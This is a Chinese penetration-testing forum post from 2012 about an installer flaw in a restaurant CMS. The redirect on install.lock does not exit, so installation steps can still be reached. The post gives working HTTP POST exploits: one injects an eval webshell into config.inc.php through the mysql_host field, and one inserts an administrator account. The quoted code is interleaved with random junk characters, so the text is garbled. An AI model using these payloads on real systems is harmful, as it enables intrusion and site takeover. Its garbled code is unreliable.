中国网络渗透测试联盟

标题: 口福科技餐厅cms漏洞(可getshell) [打印本页]

作者: admin    时间: 2012-12-4 11:13
标题: 口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
4 D4 ]! a+ _+ g7 c
5 [% t& T+ _' J* v6 k<?php
0 p; ]) M% s: |# V% n  Qif(file_exists("../install.lock"))
- e( u' r# R1 ?3 q{$ d) ^+ M/ G( d5 I& p' M, |
    header("Location: ../");//没有退出$ Y, A' p, I$ z; o7 O) g
}. }# A" P! E' Q6 B8 \; @" y& B, K
               
. c" S0 A7 o0 K- ?//echo 'tst';exit;1 V$ m: P' k: C0 D" V9 k/ X9 U
require_once("init.php");  V1 W  q: {4 P% H* B* G
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
8 w$ d# O8 B$ x7 M( ]5 v3 X* c. i{
' ?% Z1 m2 f% s5 y0 h+ ~可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
5 [3 R/ o/ K+ A# x
- K- E1 r" A" d7 m1 v* R- {1、getshell(很危险); B( X! N1 x0 V
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)7 Z; _2 U& U, \/ Q$ l- ?8 ~$ H) v1 V
{
0 G2 i, G' n. A8 o' l7 [$smarty->assign("step",1);
- F( C* v' A* E0 f1 v! W/ f3 Y$smarty->display("index.html");
% `+ O, y3 I: t' u}elseif($_REQUEST['step']==2)
  B, c. E! g6 b- n/ h{% |3 p/ i2 o7 E$ B  ]' R) m& T: P
    $mysql_host=trim($_POST['mysql_host']);
! W$ q" j2 ]% E3 q, `' ~    $mysql_user=trim($_POST['mysql_user']);
; R$ g$ a1 b5 w3 v4 U' r    $mysql_pwd=trim($_POST['mysql_pwd']);
2 ~+ Y  f9 V3 y2 j$ Y; `1 N% E    $mysql_db=trim($_POST['mysql_db']);
+ _" c1 J0 s# {. a) y' j! K    $tblpre=trim($_POST['tblpre']);( w0 f/ U: d- W( j/ g2 k: R) b
    $domain==trim($_POST['domain']);" D' m1 R1 G1 @/ j. C
    $str="<?php \r\n";
+ r% Z% i, G% r    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";. k7 b2 r/ _; a  ?; z! j. O0 k
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";. N2 C1 X+ t6 b# O" q  n: D2 \7 _
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";# V, Z/ b) |- S
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";+ ?" X* e# B' c$ ?3 E! w5 U
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";- C; g6 j3 I* ]' ^2 P$ j
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
  A3 g1 T7 r0 h4 \* D) q    $str.='define("DOMAIN","'.$domain.'");'."\r\n";$ B; D7 @6 c/ k) L  B3 ?4 e, @( c
    $str.='define("SKINS","default");'."\r\n";  N6 B) l; c1 ?  W5 O! I
    $str.='?>';# ^/ J. l& g9 I! B
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件$ x- h8 v7 X0 T
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
5 t0 O& ~1 ], Q. W/ M4 X5 u4 `  r9 @POST /canting/install/index.php?m=index&step=2 HTTP/1.1  h9 S* n- o% Z& Q
Host: 192.168.80.129
: O: p( T( L( {User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
1 c! `% I9 }3 F& Z" O+ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
& v! K( y3 s. Z% N2 Q* W8 h; z% DAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
1 J9 k  A# W0 ?3 S6 b6 z+ L5 Q7 GAccept-Encoding: gzip, deflate
3 I! H0 w1 K8 M: zReferer: http://192.168.80.129/canting/install/index.php?step=16 y, H0 e  s. Z
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc421 }  m5 M8 z, s+ B: q2 x( W
Content-Type: application/x-www-form-urlencoded! a# a  e) c; `. ^$ i% ^
Content-Length: 126/ U% r/ Z$ k& J4 I. o" x
         
$ A: \8 [( l; Umysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
4 e2 z3 X- L" y1 s- M$ \( U但是这个方法很危险,将导致网站无法运行。
# o# K* U+ a. g/ M; J# e( q5 O7 O  N8 H! q) Q% Y) ]' D9 o$ h
2、直接添加管理员
' d. Q" e( a, @1 q5 q
, H5 ^0 ^$ G) j$ K" Delseif($_REQUEST['step']==5)
' Z- w$ @# f# H& p$ S{$ [! [8 A& [; e* y8 w5 O
    if($_POST)
; u. v' C4 N+ J2 Q    {   require_once("../config/config.inc.php");& k; U) R, _+ ^9 u4 M" ^
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);% a; o( t8 s5 m; ^
        mysql_select_db(MYSQL_DB,$link);2 ]: Z" t( c4 ], Q0 z+ a
        mysql_query("SET NAMES ".MYSQL_CHARSET );" T, }0 V& g+ [$ t7 V3 h
         mysql_query("SET sql_mode=''");- ~1 H4 n; c  L; O5 B$ ?
( n: ~; k+ Y! b) ^; X' `) H
$adminname=trim($_POST['adminname']);
2 l8 n7 @  x& g* ^* i6 ~+ R        $pwd1=trim($_POST['pwd1']);
7 o/ J, J) h+ I4 [; r        $pwd2=trim($_POST['pwd2']);
& h  i5 F5 X# e  _; Z+ Y        if(empty($adminname))
- A. `- f8 |+ c8 @3 a2 L* ]        {+ x9 w8 _5 A) |: H2 G
- f! }1 B  W4 @
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
; K0 C6 r! }: N            exit();
. u; Y/ b) q4 l% p# M        }( \, M# _  D6 e
        if(($pwd1!=$pwd2) or empty($pwd1))
" I9 g) O! ~  k+ l( F4 [: X        {
" T4 a7 x( h8 j5 g! e% h            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
8 c; D' G5 Q# I6 d        }# Y( M$ L( x  o1 G1 Q: K# P
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员- `' ^5 e" {* b0 W2 o3 G: |1 ~6 z
    }. L# h% a; `6 a9 ]% N- y
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
$ d" I% m$ p9 j5 ~7 X+ XPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
1 \- ~$ I$ d3 }9 I- l) H9 iHost: 192.168.80.129
# V3 O5 o  D0 eUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.05 [5 p/ _% b8 ^3 @
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8% a. X; @; e, V& y  z) H0 O
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
2 t8 h! \# a. x/ r, f4 U( aAccept-Encoding: gzip, deflate
0 X" ~  ]4 |0 o/ C9 ^" Y4 [0 EReferer: http://www.2cto.com /canting/install/index.php?step=11 p5 ^- R& D* v. n' D: T
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc427 T; n  }5 v% a
Content-Type: application/x-www-form-urlencoded
) \. D5 f2 ?  g, {Content-Length: 46
& y) O$ T& @( |% u" ]      
* D) I8 P' J% K6 R+ r( A+ Xadminname=qingshen&pwd1=qingshen&pwd2=qingshen​9 Y) m# @$ a; h





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2